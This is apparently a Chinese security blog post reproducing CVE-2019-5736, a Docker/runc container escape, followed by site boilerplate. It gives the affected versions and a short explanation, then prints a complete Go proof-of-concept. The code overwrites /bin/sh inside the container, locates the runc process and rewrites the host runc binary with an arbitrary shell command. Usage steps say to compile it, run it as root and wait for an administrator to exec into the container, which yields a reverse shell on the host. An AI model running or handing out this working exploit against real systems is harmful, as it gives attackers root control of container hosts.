记一次docker逃逸漏洞的复现

公众号:掌控安全EDU 分享更多技术文章,欢迎关注一起探讨学习

利用条件


1.Docker Version <18.09.2

2.RunC Version <1.0-rc6

3.攻击者具有容器文件上传权限&管理员使用exec访问容器||攻击者具有启动容器权限

利用原理


这里的问题存在于,当我们去进入一个容器的时候,会去调用Runc执行一些相关的程序,这个版本的Runc允许我们覆盖其执行的二进制文件,从而执行了我们写入的命令造成了容器逃逸。

复现过程


poc如下

1.package main

2.

3.// Implementation of CVE-2019-5736

4.// Created with help from @singe, @_cablethief, and @feexd.

5.// This commit also helped a ton to understand the vuln

6.// https://github.com/lxc/lxc/commit/6400238d08cdf1ca20d49bafb85f4e224348bf9d

7.import (

8."fmt"

9."io/ioutil"

10."os"

11."strconv"

12."strings"

13."flag"

14.)

15.

16.

17.var shellCmd string

18.

19.func init() {

20.flag.StringVar(&shellCmd, "shell", "", "Execute arbitrary commands")

21.flag.Parse()

22.}

23.

24.func main() {

25.// This is the line of shell commands that will execute on the host

26.var payload = "#!/bin/bash \n" + shellCmd

27.// First we overwrite /bin/sh with the /proc/self/exe interpreter path

28.fd, err := os.Create("/bin/sh")

29.if err != nil {

30.fmt.Println(err)

31.return

32.}

33.fmt.Fprintln(fd, "#!/proc/self/exe")

34.err = fd.Close()

35.if err != nil {

36.fmt.Println(err)

37.return

38.}

39.fmt.Println("[+] Overwritten /bin/sh successfully")

40.

41.// Loop through all processes to find one whose cmdline includes runcinit

42.// This will be the process created by runc

43.var found int

44.for found == 0 {

45.pids, err := ioutil.ReadDir("/proc")

46.if err != nil {

47.fmt.Println(err)

48.return

49.}

50.for _, f := range pids {

51.fbytes, _ := ioutil.ReadFile("/proc/" + f.Name() + "/cmdline")

52.fstring := string(fbytes)

53.if strings.Contains(fstring, "runc") {

54.fmt.Println("[+] Found the PID:", f.Name())

55.found, err = strconv.Atoi(f.Name())

56.if err != nil {

57.fmt.Println(err)

58.return

59.     }

60.    }

61.   }

62.  }

63.

64.// We will use the pid to get a file handle for runc on the host.

65.var handleFd = -1

66.for handleFd == -1 {

67.// Note, you do not need to use the O_PATH flag for the exploit to work.

68.handle, _ := os.OpenFile("/proc/"+strconv.Itoa(found)+"/exe", os.O_RDONLY, 0777)

69.if int(handle.Fd()) > 0 {

70.handleFd = int(handle.Fd())

71.   }

72.  }

73.fmt.Println("[+] Successfully got the file handle")

74.

75.// Now that we have the file handle, lets write to the runc binary and overwrite it

76.// It will maintain it's executable flag

77.for {

78.writeHandle, _ := os.OpenFile("/proc/self/fd/"+strconv.Itoa(handleFd), os.O_WRONLY|os.O_TRUNC, 0700)

79.if int(writeHandle.Fd()) > 0 {

80.fmt.Println("[+] Successfully got write handle", writeHandle)

81.fmt.Println("[+] The command executed is" + payload)

82.writeHandle.Write([]byte(payload))

83.return

84.   }

85.  }

86. }

这是gpt对这段代码的讲解

1.这段代码是一个实现了CVE-2019-5736漏洞的程序。该漏洞影响了容器技术中的runc工具,允许攻击者在容器内部执行恶意代码并获取主机的控制权。

2.

3.代码的主要逻辑如下:

4.

5.导入所需的包和定义全局变量。

6.在init()函数中,使用flag包解析命令行参数,其中包括一个名为"shell"的参数,用于指定要执行的任意命令。

7.在main()函数中,定义了一个payload变量,其中包含了要在主机上执行的shell命令。

8.创建一个文件描述符fd,用于打开并覆盖主机上的/bin/sh文件。将其内容修改为#!/proc/self/exe,这样当/bin/sh被执行时,实际上会执行当前程序自身。

9.循环遍历/proc目录下的所有进程,查找包含"runc"的进程。一旦找到,获取其PID,并将其转换为整数类型。

10.使用PID获取runc进程的文件句柄handleFd。

11.使用handleFd打开/proc/self/fd目录下的文件,将payload写入该文件,覆盖runc二进制文件。

12.程序结束。

13.

14.这段代码的目的是通过修改runc二进制文件,将其替换为恶意代码,从而实现对主机的控制。请注意,这段代码仅用于演示和教育目的,不应用于非法活动。对于真实环境中的漏洞利用,请遵循法律和道德准则。

首先当我们成功getshell进入到容器后,编译上面的payload(shellCmd换成自己想执行的指令),然后执行,
这里需要root权限。这时候当系统管理员去exec进入这个容器的时候,就会执行上面的指令,成功反弹了shell

图片

没看够~?欢迎关注!

  

 渗透工具

技术文档、书籍

 

面试题

帮助你在面试中脱颖而出

视频

基础到进阶

环境搭建、HTML,PHP,MySQL基础学习,信息收集,SQL注入,XSS,CSRF,暴力破解等等

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值